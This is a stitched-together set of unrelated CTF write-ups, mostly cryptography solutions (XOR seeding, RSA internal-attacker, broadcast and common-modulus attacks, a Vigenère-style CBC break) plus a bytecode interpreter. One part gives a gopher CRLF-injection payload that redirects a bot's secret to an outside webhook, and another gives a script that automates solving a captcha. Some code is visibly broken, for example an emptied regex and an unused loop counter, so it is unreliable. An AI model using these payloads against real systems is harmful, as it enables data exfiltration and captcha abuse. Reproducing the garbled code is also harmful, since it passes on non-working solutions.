This problem seems pretty trivial at first! All it does is take the time and wait for some amount of seconds between 0 and 50 before setting a random seed. The below program is a very simple implementation of decryption -- loop through all possible numberof seconds, perform the XOR, and print if it's all ASCII. ```import randomimport string#import binasciiimport time
def is_ascii(s): # GeeksForGeeks """Return True if string s is ASCII, False otherwise.""" return all(c in string.printable for c in s)
c = "a0469bbb0b3a4f06306739032244b0c5119ba66a0d3b5a2322acdd7070bf85690cdf8573212c1b927e0ba624"#c = binascii.unhexlify(c)inittime = int(1697043249.53)
for i in range(51): res = "" random.seed(inittime) #print(i, chr(random.randint(0, 255) ^ c[0])) for j in range(0,len(c), 2): res += chr(random.randint(0,255) ^ int(c[j:j+2], 16)) if is_ascii(res): print(res)```But it doesn't work! Why? Admittedly, I spent an incredibly long time on this one step trying to figure out why it wasn't working. But then, I finally came to a realization.
The source code is written in Python 2, which we can tell by the .encode("hex") function call. "hex" is not a valid encoding in Python 3. Since time.time() changes in Python 2, we need to run this in Python 2! I just used an online Python 2 interpreter to run it:
UDCTF{4hh_m3m0r1es_th4t5_wh4t_1ts_4ll_about} |
This is what we're given:
```from Crypto.Util.number import *e=65537your_e = getPrime(20)msg=bytes_to_long(b'UDCTF{REDACTED}')p=getPrime(512)q=getPrime(512)n=p*qassert(msg < n)ct=pow(msg, e, n)your_d = inverse(your_e, (p-1)*(q-1))print(your_e)print(your_d)print(n)print(e)print(ct)```
Use the provided RSA textbook -- [https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/](http://) -- it really helps!
We can write a simple Python program based on its explanation about an RSA internal attacker.Note that // is used for integer division (float division doesn't work because the numbers are too large), and checking modulo makes sure that we don't need to use integer division for that part.
UDCTF{m0d_mult1pl1c4tiv3_inv3r5e_nd_57uff}
```your_e=548861your_d=95173232432571941329231712692828118443780574466702093807146321250099677631827067825710345421542241500117509827717221625523077656554170307232963298108032249257829668442277402436905496971410095631707035128294281318370127935482352287840967522858886054571972660826718745245567014905338023490270530223206547055189n=128923276994737790032784225847154420815473322545569053376748335367791339027988282369445542202224938698537424444443434684524386629219697192340629226569242894844874718895350330788650992608621499779776079293063355076268941953990983854217613662005027668855183281795022629934463967333582234624036115283306256019477e=65537c=101925091511033045433108849975441961999589763870098425244810307722908781911184299892072334641669931066841662878745617845011689451171244453969963211155840837507751273716371760271643490363012983256424608885239953158409708266675819028960222627654995967984657602529298637614235721996131897162063485544360691578861
phi = 0k = (your_e * your_d - 1) // nfor i in range(1000000): if (your_e * your_d - 1) % k == 0: # right value of phi found phi = (your_e * your_d - 1) // k break k += 1
d = pow(e, -1 ,phi)m = pow(c, d, n)m = format(m, 'x')for i in range(0, len(m), 2): print(chr(int(m[i:i+2], 16)), end='')``` |
# [crypto] 0ff Again On Aga1n## task```Created by: Shamel
This note was left after a recent DEADFACE attack; they know how much we love puzzles. The rest of the team is still dealing with the fallout but maybe you can figure out what is says. Who knows, there might even be a clue in there.
Submit the flag as flag{H1DD3NM355@G3}.```## solutionthe first thing to notice is the 0 and 1 in the title, which hints to binary. we can then assume that each color represents 0 or 1
knowing the result is likely to be english, i assumed each row's first bits would be 00 or 01, which leads to this guess:```0 - purple, black1 - green, pink```giving `01010100 00110011 01000011 01001000 01001110 00110000 01000111 00110001`, which decodes to `T3CHN0G1`, but it alone was incorrect.
we then realized that the image can also be read vertically, so using the same trick, we guessed:```0 - purple, green1 - black, pink```giving `00110000 00111000 01000000 00110001 01010010 00110011 01001001 01001110`, decoding to `08@1R3IN`
combining both gives our answer:## flag`flag{T3CHN0G108@1R3IN}`## notewhat the hell is a techno global rein :fire::fire::fire: |
This is what we're given:
```from Crypto.Util.number import *msg=b'UDCTF{REDACTED}'pt=bytes_to_long(msg)p1=getPrime(512)q1=getPrime(512)N1=p1*q1e=3ct1=pow(pt,e,N1)p2=getPrime(512)q2=getPrime(512)N2=p2*q2ct2=pow(pt,e,N2)p3=getPrime(512)q3=getPrime(512)N3=p3*q3ct3=pow(pt,e,N3)
print(N1)print(N2)print(N3)print(e)print(ct1)print(ct2)print(ct3)```
The textbook ([https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/](http://)) straight up gives us the script this time... copy and paste for the win! Make sure to change some stuff up to gmpy2, integer division (//), and .iroot to get the flag.
UDCTF{ch1n3se_r3m4ind3r_th30r3m_f0r_th4_w1n!}
```import gmpy2
n1=101940404683148314092182537619741343820471969843093690407029610257328675616822058283838769182645366824344399515353353819793130816183060658423485619280610405015820030833852427722839904501250467628712096873390329778269768535928267751268139550847537802558918336829638018104196299204412108446654522040961058235837n2=74679681433630870500800762600180557065015193875421351446542706780716176492497162177418083881145442405798180136972926938569891311549925115691841878743075457971612412284596645067679716265041006557964732304139958791707676819596277816749996790403481863920999497042537177685582328973044036057708799002206799632839n3=100573737146541590945636341222262486942630621101299107026796895085532038383427686351121611043174306351150423506465657822449930435454418298186213727217811586553728175753616475183671899770943244241792060489168334224998929407994655190387844505675391919259886074847030882822522665949478946576261271617560351054403e=3c1=97537343779229625148677027056474609247558991142314164186990731381686200271313205873978331513371958006472814729940790278407051941118054050488898727496970346225390695886636503944561906013129123265026309468439899500515120214095795129355317613702699593668666568316953844138511954955909885841485099479889646390930c2=24576278220067271066994467924629810459250013881000033163294269449098813322523936249035902376053018982711870235427255440433329932427389544039567565669233834485029769359372962513511622515998222609323796238896382805118053092524445414371375283464954274992561033256478865903093200523624090555295195503883373690124c3=43498624182782877233366661188600199251806006111187593264150806660094635602066978958889784097119800185861182106644332729447880775766543596889805536568073520124279816397528293711624036420976245584445797246515447058638137236091247562611424573156889579663131251891077714114495493898633857254453469780722026012280
N = n1*n2*n3N1 = N//n1N2 = N//n2N3 = N//n3
u1 = gmpy2.invert(N1, n1)u2 = gmpy2.invert(N2, n2)u3 = gmpy2.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = gmpy2.iroot(M,e)[0]m = format(m, 'x')for i in range(0, len(m), 2): print(chr(int(m[i:i+2], 16)), end='')``` |
# go-gopher: CRLF injection with Gopher
We're given two URLs: one is a gopher URL, and the other is a link to a standard HTTP site where we can submit gopher URLs.
Let's take a look at the gopher site first:```gopackage main
import ( "fmt" "log" "net/url" "strings"
"git.mills.io/prologic/go-gopher")
func index(w gopher.ResponseWriter, r *gopher.Request) { w.WriteInfo("Welcome to the flag submitter!") w.WriteInfo("Please submit all your flags!") w.WriteItem(&gopher.Item{ Type: gopher.DIRECTORY, Selector: "/submit/user", Description: "Submit flags here!", }) w.WriteItem(&gopher.Item{ Type: gopher.FILE, Selector: "URL:https://ctf.amateurs.team/", Description: "Get me more flags lackeys!!", }) w.WriteItem(&gopher.Item{ Type: gopher.DIRECTORY, Selector: "/", Description: "Nice gopher proxy", Host: "gopher.floodgap.com", Port: 70, })}
func submit(w gopher.ResponseWriter, r *gopher.Request) { name := strings.Split(r.Selector, "/")[2] undecoded, err := url.QueryUnescape(name) if err != nil { w.WriteError(err.Error()) } w.WriteInfo(fmt.Sprintf("Hello %s", undecoded)) w.WriteInfo("Please send a post request containing your flag at the server down below.") w.WriteItem(&gopher.Item{ Type: gopher.FILE, Selector: "URL:http://amt.rs/gophers-catcher-not-in-scope", Description: "Submit here! (gopher doesn't have forms D:)", Host: "error.host", Port: 1, })}
func main() { mux := gopher.NewServeMux()
mux.HandleFunc("/", index) mux.HandleFunc("/submit/", submit)
log.Fatal(gopher.ListenAndServe("0.0.0.0:7000", mux))}```We can see that most of it is just serving a static menu, but one thing that stands out is that we can enter an arbitrary string and have it echoed back to us in the "Hello %s" line, which could be something we could exploit later.
Next let's look at the bot code:```gopackage main
import ( "bytes" "fmt" "log" "net/http" "net/url" "os" "strings"
"git.mills.io/prologic/go-gopher")
var flag = []byte{}
func main() { content, err := os.ReadFile("flag.txt") if err != nil { log.Fatal(err) } flag = content
http.HandleFunc("/submit", Submit) http.HandleFunc("/", Index) if err := http.ListenAndServe(":8080", nil); err != nil { log.Fatal(err) }}
func Index(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, "index.html")}
func Submit(w http.ResponseWriter, r *http.Request) { r.ParseForm() u, err := url.Parse(r.Form.Get("url")) if err != nil || !strings.HasPrefix(u.Host, "amt.rs") { w.Write([]byte("Invalid url")) return }
w.Write([]byte(Visit(r.Form.Get("url"))))}
func Visit(url string) string { fmt.Println(url) res, err := gopher.Get(url) if err != nil { return fmt.Sprintf("Something went wrong: %s", err.Error()) } h, _ := res.Dir.ToText() fmt.Println(string(h))
url, _ = strings.CutPrefix(res.Dir.Items[2].Selector, "URL:") fmt.Println(url) _, err = http.Post(url, "text/plain", bytes.NewBuffer(flag))
if err != nil { return "Failed to make request" }
return "Successful visit"}```We can see that when the bot visits the gopher URL (which must be on `amt.rs`), it does a few things:
1. It requests the URL2. It gets a URL from the 3rd menu item3. It does a HTTP POST request to the URL provided
So if we can inject a custom URL into the menu, then we can control the URL that the flag gets posted to.
I looked at the [Gopher menu format](https://en.wikipedia.org/wiki/Gopher_(protocol)#Source_code_of_a_menu) and I saw that menu items were seperated by a CRLF. We could easily URL encode it and send it to the bot. It would then be reflected through the "Hello %s" menu item and it would create our own custom menu items.
From here I used the specification (which is pretty simple compared to other protocols) to construct the payload to CRLF inject so that the 3rd menu item would point to my own server.
My final payload was `gopher://amt.rs:31290/1/submit/aaa%2509%2509error.host%25091%250d%250aiTesting%2509%2509error.host%25091%250d%250a0Submit%2509URL%3Ahttps%253A%252F%252Fpost-logger.programmeruser.repl.co%252F%2509error.host%25091%250d%250aiTesting` (the repl.co site is my own custom webhook logger, change it to your own server). For some reason it has to be double URL encoded (I'm guessing that it's double decoded somewhere in the bot code).
I sent this to the bot and I got the flag: `amateursCTF{wh0_s@ys_goph3r_i5nt_web?}` |
# cbc
## Challengewho on earth is putting CLASSICAL BORING CRYPTOGRAPHY in my ctf
### Attachments- [cbc_output.txt](./handouts/cbc_output.txt)```iv = 'RLNZXWHLULXRLTNP'ct = 'ZQTJIHLVWMPBYIFRQBUBUESOOVCJHXXLXDKPBQCUXWGJDHJPQTHXFQIQMBXNVOIPJBRHJQOMBMNJSYCRAHQBPBSMMJWJKTPRAUYZVZTHKTPUAPGAIJPMZZZDZYGDTKFLWAQTSKASXNDRRQQDJVBREUXFULWGNSIINOYULFXLDNMGWWVSCEIORQESVPFNMWZKPIYMYVFHTSRDJWQBTWHCURSBPUKKPWIGXERMPXCHSZKYMFLPIAHKTXOROOJHUCSGINWYEILFIZUSNRVRBHVCJPVPSEGUSYOAMXKSUKSWSOJTYYCMEHEUNPJAYXXJWESEWNSCXBPCCIZNGOVFRTGKYHVSZYFNRDOVPNWEDDJYITHJUBVMWDNNNZCLIPOSFLNDDWYXMYVCEOHZSNDUXPIBKUJIJEYOETXWOJNFQAHQOVTRRXDCGHSYNDYMYWVGKCCYOBDTZZEQQEFGSPJJIAAWVDXFGPJKQJCZMTPMFZDVRMEGMPUEMOUVGJXXBRFCCCRVTUXYTTORMSQBLZUEHLYRNJAAIVCRFSHLLPOANFKGRWBYVSOBLCTDAUDVMMHYSYCDZTBXTDARWRTAFTCVSDRVEENLHOHWBOPYLMSDVOZRLENWEKGAWWCNLOKMKFWWAZJJPFDSVUJFCODFYIMZNZTMAFJHNLNMRMLQRTJJXJCLMQZMOFOGFPXBUTOBXUCWMORVUIIXELTVIYBLPEKKOXYUBNQONZLPMGWMGRZXNNJBUWBEFNVXUIAEGYKQSLYSDTGWODRMDBHKCJVWBNJFTNHEWGOZFEZMTRBLHCMHIFLDLORMVMOOHGXJQIIYHZFMROGUUOMXBTFMKERCTYXFIHVNFWWIUFTGLCKPJRFDRWDXIKLJJLNTWNQIOFWSIUQXMFFVIIUCDEDFEJNLKLQBALRKEYWSHESUJJXSHYWNRNPXCFUEFRJKSIGXHFTKNJXSYVITDOGYIKGJIOOHUFILWYRBTCQPRPNOKFKROTFZNOCZXZEYUNWJZDPJDGIZLWBBDGZJNRQRPFFGOTGFBACCRKLAPFLOGVYFXVIIJMBBMXWJGLPOQQHMNBCINRGZRBVSMLKOAFGYRUDOPCCULRBE'```- [cbc.py](./handouts/cbc.py)```pythonimport random
def random_alphastring(size): return "".join(random.choices(alphabet, k=size))
def add_key(key, block): ct_idxs = [(k_a + pt_a) % len(alphabet) for k_a, pt_a in zip([alphabet.index(k) for k in key], [alphabet.index(pt) for pt in block])] return "".join([alphabet[idx] for idx in ct_idxs])
def cbc(key, plaintext): klen = len(key) plaintext = pad(klen, plaintext) iv = random_alphastring(klen) blocks = [plaintext[i:i+klen] for i in range(0, len(plaintext), klen)] prev_block = iv ciphertext = "" for block in blocks: block = add_key(prev_block, block) prev_block = add_key(key, block) ciphertext += prev_block return iv, ciphertext def pad(block_size, plaintext): plaintext += "X" * (-len(plaintext) % block_size) return plaintext
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"bs = 16
message = open("message.txt").read().upper()message = "".join([char for char in message if char in alphabet])flag = open("flag.txt").read()flag = flag.lstrip("corctf{").rstrip("}")message += flagassert all([char in alphabet for char in message])
key = random_alphastring(bs)iv, ct = cbc(key, pad(bs, message))print(f"{iv = }")print(f"{ct = }")```
## SolutionIn this challenge we are offered an encrypted flag and given the cource code for the encryption, which uses a random encryption key.
### AnalysisAnalyzing the source code and the output, we can determine some constants, that we are going to use to decrypt the ciphertext:```pythonalphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"bs = 16iv = 'RLNZXWHLULXRLTNP'ciphertext = 'ZQTJIHLVWMPBYIFRQBUBUESOOVCJHXXLXDKPBQCUXWGJDHJPQTHXFQIQMBXNVOIPJBRHJQOMBMNJSYCRAHQBPBSMMJWJKTPRAUYZVZTHKTPUAPGAIJPMZZZDZYGDTKFLWAQTSKASXNDRRQQDJVBREUXFULWGNSIINOYULFXLDNMGWWVSCEIORQESVPFNMWZKPIYMYVFHTSRDJWQBTWHCURSBPUKKPWIGXERMPXCHSZKYMFLPIAHKTXOROOJHUCSGINWYEILFIZUSNRVRBHVCJPVPSEGUSYOAMXKSUKSWSOJTYYCMEHEUNPJAYXXJWESEWNSCXBPCCIZNGOVFRTGKYHVSZYFNRDOVPNWEDDJYITHJUBVMWDNNNZCLIPOSFLNDDWYXMYVCEOHZSNDUXPIBKUJIJEYOETXWOJNFQAHQOVTRRXDCGHSYNDYMYWVGKCCYOBDTZZEQQEFGSPJJIAAWVDXFGPJKQJCZMTPMFZDVRMEGMPUEMOUVGJXXBRFCCCRVTUXYTTORMSQBLZUEHLYRNJAAIVCRFSHLLPOANFKGRWBYVSOBLCTDAUDVMMHYSYCDZTBXTDARWRTAFTCVSDRVEENLHOHWBOPYLMSDVOZRLENWEKGAWWCNLOKMKFWWAZJJPFDSVUJFCODFYIMZNZTMAFJHNLNMRMLQRTJJXJCLMQZMOFOGFPXBUTOBXUCWMORVUIIXELTVIYBLPEKKOXYUBNQONZLPMGWMGRZXNNJBUWBEFNVXUIAEGYKQSLYSDTGWODRMDBHKCJVWBNJFTNHEWGOZFEZMTRBLHCMHIFLDLORMVMOOHGXJQIIYHZFMROGUUOMXBTFMKERCTYXFIHVNFWWIUFTGLCKPJRFDRWDXIKLJJLNTWNQIOFWSIUQXMFFVIIUCDEDFEJNLKLQBALRKEYWSHESUJJXSHYWNRNPXCFUEFRJKSIGXHFTKNJXSYVITDOGYIKGJIOOHUFILWYRBTCQPRPNOKFKROTFZNOCZXZEYUNWJZDPJDGIZLWBBDGZJNRQRPFFGOTGFBACCRKLAPFLOGVYFXVIIJMBBMXWJGLPOQQHMNBCINRGZRBVSMLKOAFGYRUDOPCCULRBE'blocks = [ciphertext[i:i+bs] for i in range(0, len(ciphertext), bs)]```
Additionally we can analyze the encryption logic (c.f. [cbc.py](./handouts/cbc.py)); here are some observations:1. The algorithm uses a block-size of 16 characters: `bs = 16`.2. The alphabet used in this cipher is only using uppercase letters.3. The plaintext is being padded with "X" until its length equals a multiple of 16, as can be seen in the `pad`-function.4. The `key` and the initial-vector `iv` are generated randomly; both of which are of length `16`; conforming to the block-size. ```python iv = random_alphastring(klen) [...] key = random_alphastring(bs) ```5. Looking at the `cbc`-function, ```python prev_block = iv for block in blocks: block = add_key(prev_block, block) prev_block = add_key(key, block) ``` we can deduce - ... the usage of a cipher block chaining mode; meaning that the initial-vector is used to encrypt the first block of the message and the ciphertext of the first block is used to encrypt the second block and so on. - ... that the same function `add_key` is used to process the current message block with their respective `initial-vector` and the `key`.6. Having a closer look at the `add_key`-function, we can see, that this is just a simple rotational substitution-cipher, reminding us of the `Vigenère`-cipher.```pythondef add_key(key, block): ct_idxs = [(k_a + pt_a) % len(alphabet) for k_a, pt_a in zip([alphabet.index(k) for k in key], [alphabet.index(pt) for pt in block])] return "".join([alphabet[idx] for idx in ct_idxs])```The tricky bit about this implementation though is the fact, that we are using two keys (`iv` and `key`), and the `iv` is changing with each block.
### Strategy for decryptionAs typical with rotational ciphers, when you use the same cipher to perform 2 encryption passes with different keys `key1` and `key2`, you can instead swap the order of encryptions because addition is commutative. Thus the following expressions will always evaluate to the same value:```pythonadd_key(iv, add_key(key, block))add_key(key, add_key(iv, block))add_key(block, add_key(iv, key)) # not used in this solution```This means, that we can reverse the `iv` encryption separately from the `key` encryption. Therefore we can write an inverse functions for `add_key`:```pythondef subtract_key(key, block): ct_idxs = [(pt_a - k_a) % len(alphabet) for k_a, pt_a in zip([alphabet.index(k) for k in key], [alphabet.index(pt) for pt in block])] return "".join([alphabet[idx] for idx in ct_idxs])```
Now we can compute the differences (using `subtract_key`) between adjacent blocks to decode the iv encryption for each block:```pythondef differences(iv, blocks): ds = [] prev_block = iv for block in blocks: d = subtract_key(prev_block, block) ds += [d] prev_block = block return ds
block_differences = differences(iv, blocks)print(''.join(block_differences)) # IFGKLLEKCBSKNPSCRLBSMXHTSJNIJPSUHCQOHMKGJBEAWKMETQXIEAGWPFRESHZATIKKEAGWPLQWXKUCRGZUGLEALXJASVNAANIYGYBVYKTLQWRJIPRNEAGWPFRJTVZLORBHTLBPYPXOYGLSNVLYMKXNXYTPWCSFETXDHLAGJCQAJENKPQKUGLHHSCTHQAESNEQYHFBPYDMQXARREOJQWWNUWCTHGASFEIKKVGKGDFAOXJDJLWQYEAMKWPZJIXHRANPOLLXOULLLTPDLTUZEFHKKKFMCFHTJLQPQLVXHAKDZGAOMSKUCTFREGJOQYGQSSGOIKMGCELCEKKDBVGOIBGGQXQGALPTQYUQUFWOGJVCWDYHRHQRJKWTNAWHJLKSRHTLKZZTRWZTHNCQRUTKEYWOGFQRPMGUCRUFEGGYIFRVDNEGGSYFTXDRWKBCPTFZWIULVMWGESIKAINHLUZXDWETPQLEEYUTQETPQKWGQLXVWWGSFAVFJBKUCKFBWQNXRHGDDNKRULBLZJXDJORBTUQMJWDMQUTNHEEQJAWKGJBZHQAHQANFDNPTPVQGAXGOCORIUTJXWKFMCNVASTKQYLBNULXOWWVNDTJBIRKMGEQGADWRCLKKKQALVZBJAWPDJTJBFKGZTSJHJYJDQYUQUFLACLXKHTEZREUQXXETEZFMAXTDQOWOSXKMQLEDKYJDPPTLWKSFULEZPDQTPUPQXXCXTFBKEXCMCSUBDMATNHXQPTHZLORBHTLBPYPXOYGLZUVRIXDXUKYXEYUDJFKQSTFHPDVEQSESGOPFDMZXEGKSACVNDAELCIDXVWLOAWCSGNIPOLLXODFMQCKRLOTJQEDRWKBCESENKBKKQMAHPOFSDYJDENWLFXJTVAKFODUSCMVEUPZHNWPXOYGLGSDXIBUTNDVFJZYHRHNFDNPTFVBCKWIMSLKKKQSENLEDOTEZJLGABBFNZVFRPWKASTKLDLSKGJBZHQACGSVOYUMMKGKRKKIMSLKKKQSGAOXXDJTDAOOBIMZXHDXFEYUDTETVJAAGISCSAWVGGSCQBXSLVAQRJTVZEEPBHBUKQLQGEWVDCNEEQEDXPYBHCZGRQ```
At this point `block_differences` is only encrypted using the unknown `key`, so we are dealing with a classical `Vigenère`-cipher.
Now there's two options to proceed:
#### Option 1: The manual wayThe first step in breaking the Vigenère cipher is to determine the key length, which we already know is 16.
The next step involves grouping all characters of the cipher-text by their `index % 16` (the key-length). At this point, we're left with 16 different groups of letters, where each group corresponds to the one character of `key` that shares their index. Thus the group `i` would correspond to `key[i]`:```pythongroup_i = [block_differences[x] for x in range(len(block_differences)) if x % 16 == i]```
This allows us to break 16 individual `Caesar`-ciphers using the letter-frequencies of the english language and the letters contained in this group, by trying to guess the `key[i]` s.t. the letter frequencies between both the english language and the letters contained of group i align best. Repeat this process for each group to recover the entire `key`.
After recovering the entire `key`, one can simply decode the `block_differences` by applying the key to each block separately:```pythondecoded_blocks = [subtract_key(key, block) for block in block_differences]print(''.join(decoded_blocks))```
#### Option 2: The automated wayThere are plenty of tools available to automatically break and decrypt a ciphertext, that has been encrypted using the `Vigenère`-cipher.
My tool of choice, called [CrypTool](https://www.cryptool.org/en/), cracked the Vigenère part with ease and determined the key to be `ACXQTSTCSXZWFCZY` and thus the message:
`IDJUSTLIKETOINTERJECTFORAMOMENTWHATYOUREREFERINGTOASLINUXISINFACTGNULINUXORASIVERECENTLYTAKENTOCALLINGITGNUPLUSLINUXLINUXISNOTANOPERATINGSYSTEMUNTOITSELFBUTRATHERANOTHERFREECOMPONENTOFAFULLYFUNCTIONINGGNUSYSTEMMADEUSEFULBYTHEGNUCORELIBSSHELLUTILITIESANDVITALSYSTEMCOMPONENTSCOMPRISINGAFULLOSASDEFINEDBYPOSIXMANYCOMPUTERUSERSRUNAMODIFIEDVERSIONOFTHEGNUSYSTEMEVERYDAYWITHOUTREALIZINGITTHROUGHAPECULIARTURNOFEVENTSTHEVERSIONOFGNUWHICHISWIDELYUSEDTODAYISOFTENCALLEDLINUXANDMANYOFITSUSERSARENOTAWARETHATITISBASICALLYTHEGNUSYSTEMDEVELOPEDBYTHEGNUPROJECTTHEREREALLYISALINUXANDTHESEPEOPLEAREUSINGITBUTITISJUSTAPARTOFTHESYSTEMTHEYUSELINUXISTHEKERNELTHEPROGRAMINTHESYSTEMTHATALLOCATESTHEMACHINESRESOURCESTOTHEOTHERPROGRAMSTHATYOURUNTHEKERNELISANESSENTIALPARTOFANOPERATINGSYSTEMBUTUSELESSBYITSELFITCANONLYFUNCTIONINTHECONTEXTOFACOMPLETEOPERATINGSYSTEMLINUXISNORMALLYUSEDINCOMBINATIONWITHTHEGNUOPERATINGSYSTEMTHEWHOLESYSTEMISBASICALLYGNUWITHLINUXADDEDORGNULINUXALLTHESOCALLEDLINUXDISTRIBUTIONSAREREALLYDISTRIBUTIONSOFGNULINUXANYWAYHERECOMESTHEFLAGITSEVERYTHINGAFTERTHISATLEASTITSNOTAGENERICROTTHIRTEENCHALLENGEIGUESS`
Unfortunately there is no punctuation in the message, so we have to carefully read the text to determine the value of the flag, which, according to the `cbc.py` was stripped of its tags `corctf{` and `}`. This process yields us the flag:
`corctf{ATLEASTITSNOTAGENERICROTTHIRTEENCHALLENGEIGUESS}` |
I tried to make a copy of the Google Slides to see if I could do anything with it that way.
However, the pop-up included something about an Apps Script file -- suspicious.
I checked out the script file and found the flag!
udctf{p0w3rp0int_app_4s_n0_c0de_p1atf0rm5} |
Hopefully you've read all the details of the challenge now. Here's what they gave us:
blue hens hens hens hens hens blue blue blue blue hens hens hens blue blue hens hens blue blue blue blue hens hens hens hens hens blue blue blue blue blue blue blue blue blue blue blue blue blue hens blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue blue hens hens hens hens hens hens hens hens hens hens hens hens hens hens hens blue blue blue blue blue blue blue blue hens hens hens hens blue blue blue hens hens hens hens blue blue blue blue blue blue blue blue blue hens
(shortened to not take up space) Given the file as well as the instructions used, I guessed that it was probably a long, loop structure code. Instead of doing it by hand (because it's way too long), let's automate it by translating it and executing it in Python!
```r = open("rev/bluehens/flag.bluehens", 'r')w = open("rev/bluehens/translated.txt", 'w')
translator = { 1: "SET", 2: "ADD", 3: "SUB", 4: "MUL", 5: "GTL", 6: "GBL", 7: "GUL", 8: "CTA", 9: "CTS", 10: "SKP", 11: "PRT"}
for line in r: line = line.split(' ') line[-1] = line[-1][:-1] bluecount = 0 hencount = 0 for i in line: if i == "blue": bluecount += 1 elif i == "hens": hencount += 1 w.write(translator[bluecount]) w.write(" ") if hencount > 0: w.write(str(hencount)) w.write('\n') #print(line, bluecount, hencount)
w.close()```
The above code takes the original file we were given and basically translates it into the machine code described in the problem. All that's left is to write a script to actually execute this new machine code!
```f = open("rev/bluehens/translated.txt", 'r').read()f = f.split('\n')[:-1]f = [a.split(' ') for a in f]for i in range(len(f)): if f[i][1] != '': f[i][1] = int(f[i][1])
register = 0counter = 0index = 0while(index != len(f) - 1): i, arg= f[index] goto = False
if i == 'SET': register = arg elif i == 'ADD': register += arg elif i == 'SUB': register -= arg elif i == 'MUL': register *= arg elif i == 'GTL': goto = True index = arg - 1 elif i == 'GBL': goto = True index -= arg elif i == 'GUL': goto = True index += arg elif i == 'CTA': counter += arg elif i == 'CTS': counter -= arg elif i == 'SKP': if counter == 0: index += 1 elif i == 'PRT': print(chr(register), end='') if not goto: index += 1```
Run the script to get the flag:
UDCTF{fight_fight_fight_f0r_D3l4war3} |
URLが張ってないので、同じ問題にもう一つフラグが隠されているのか…?と思ったが、単にリンクが張られてないだけだった。 前問が https://captcha1.uctf.ir/ だったので、https://captcha2.uctf.ir/ に行くとサイトがあった。 今回は画像を読み取って動物の種類を答える問題。
画像は同じ画像が結構使われていて、ファイル名は一意っぽい。 レパートリーも少なそうなので、ファイル名で辞書を作って答えていこう。 以下のようなスクリプトで辞書を作りながら動かして検証を100回通せばフラグがもらえる。
```pythonimport requestsimport reimport base64
BASE_URL = 'https://captcha2.uctf.ir'INIT_SESSID = '0pfvielcd3h230l85piu1beihr'
cookies = { 'PHPSESSID': INIT_SESSID, 'f873062f0559114b30a8e84091decac1' : '47c7b54c28039b0e99ddb4f2c37825a1'}
dic = { 'C29E4D9C8824409119EAA8BA182051B89121E663.jpeg': 'falcon', '73335C221018B95C013FF3F074BD9E8550E8D48E.jpeg': 'penguin', '6D0EBBBDCE32474DB8141D23D2C01BD9628D6E5F.jpeg': 'rabbit', '148627088915C721CCEBB4C611B859031037E6AD.jpeg': 'snake', '09F5EDEB4F5B2A4E4364F6B654682C6758A3FA16.jpeg': 'bear', '9D989E8D27DC9E0EC3389FC855F142C3D40F0C50.jpeg': 'cat', '091B5035885C00170FEC9ECF24224933E3DE3FCC.jpeg': 'horse', '5ECE240085B9AD85B64896082E3761C54EF581DE.jpeg': 'duck', '9E05E6832CAFFCA519722B608570B8FF4935B94D.jpeg': 'mouse', 'FF0F0A8B656F0B44C26933ACD2E367B6C1211290.jpeg': 'fox', 'E49512524F47B4138D850C9D9D85972927281DA0.jpeg': 'dog',}
t = requests.get(BASE_URL + '/', cookies=cookies).textr = re.search(r'\s*', t)img1 = r[1]img2 = r[2]
for i in range(300): print(i) if not img1 in dic: print(BASE_URL + '/' + img1) exit(0) if not img2 in dic: print(BASE_URL + '/' + img2) exit(0) t = requests.post(BASE_URL + '/', data={'captcha': dic[img1] + '-' + dic[img2]}, cookies=cookies).text r = re.search(r'\s*', t) img1 = r[1] img2 = r[2]``` |
This is what we're given
```from Crypto.Util.number import *p=getPrime(512)q=getPrime(512)n=p*qe1=71e2=101msg=bytes_to_long(b'UDCTF{REDACTED}')c1 = pow(msg, e1, n)c2 = pow(msg, e2, n)print(n)print(e1)print(e2)print(c1)print(c2)```
Check out [https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/](http://) for a hint if you still want to try and figure it out yourself.
We're given two ciphertexts. According to the given RSA textbook, it seems like we can just solve this by solving Bezout's identity! This comes from the following proof:
If gcd(e1, e2) = 1, then according to Bezout's identity, there exist integers a and b such that a * e1 + b * e2 = 1. Therefore, we have the following: c1 = m ^ e1 (mod n) ==> c1 ^ a = m ^ (e1 * a) (mod n) c2 = m ^ e2 (mod n) ==> c2 ^ b = m ^ (e2 * b) (mod n) c1 * c2 = m ^ (e1 * a + e2 * b) (mod n) = m ^ 1 (mod n) Therefore, we just need to solve Bezout's identity to get m. In order to solve Bezout's identity, you can use the extended Euclid algorithm. [https://www.rookieslab.com/posts/extended-euclid-algorithm-to-find-gcd-bezouts-coefficients-python-cpp-code](http://) provides the code for the extended Euclid algorithm.
UDCTF{3uc1id_th4_60at}
```def extended_euclid_gcd(a, b): """ Returns a list `result` of size 3 where: Referring to the equation ax + by = gcd(a, b) result[0] is gcd(a, b) result[1] is x result[2] is y """ s = 0; old_s = 1 t = 1; old_t = 0 r = b; old_r = a
while r != 0: quotient = old_r//r # In Python, // operator performs integer or floored division old_r, r = r, old_r - quotient*r old_s, s = s, old_s - quotient*s old_t, t = t, old_t - quotient*t return [old_r, old_s, old_t]
n=87587426608653108851564813489752475287019321764561555461700901651463446024854423042554629096780987943450742890279417241231211446818009232077230407281610183609540264821974669679932743621434901779832901512681108061652309435608446510337833028029876549629818957952682516026313018526405972829923620377438164377109e1=71e2=101c1=1421275848974615267320815554113040672023972283807752574007971561416386636110464890632994733734995114229161525885389065244354678964389211537085513310823751266472044865745324866096898051759507738772227296453397678055024824805366251635154522059070310922367078281343183508274450904681187384450253350434931649011c2=26097095086985946477598349002260598942399303275420948828501512467473619292573670218058274201990116295246084096584962695127706609264424951086000719935218496250047555039460733768633688410770610612614744411304261153778159881980276162174277085197608466835857196307432992312260307797540746411319330318058866868362
#ax + by = 1gcd, x, y = extended_euclid_gcd(e1, e2)m = (pow(c1, x, n) * pow(c2, y, n)) % nm = format(m, 'x')for i in range(0, len(m), 2): print(chr(int(m[i:i+2], 16)), end='')``` |
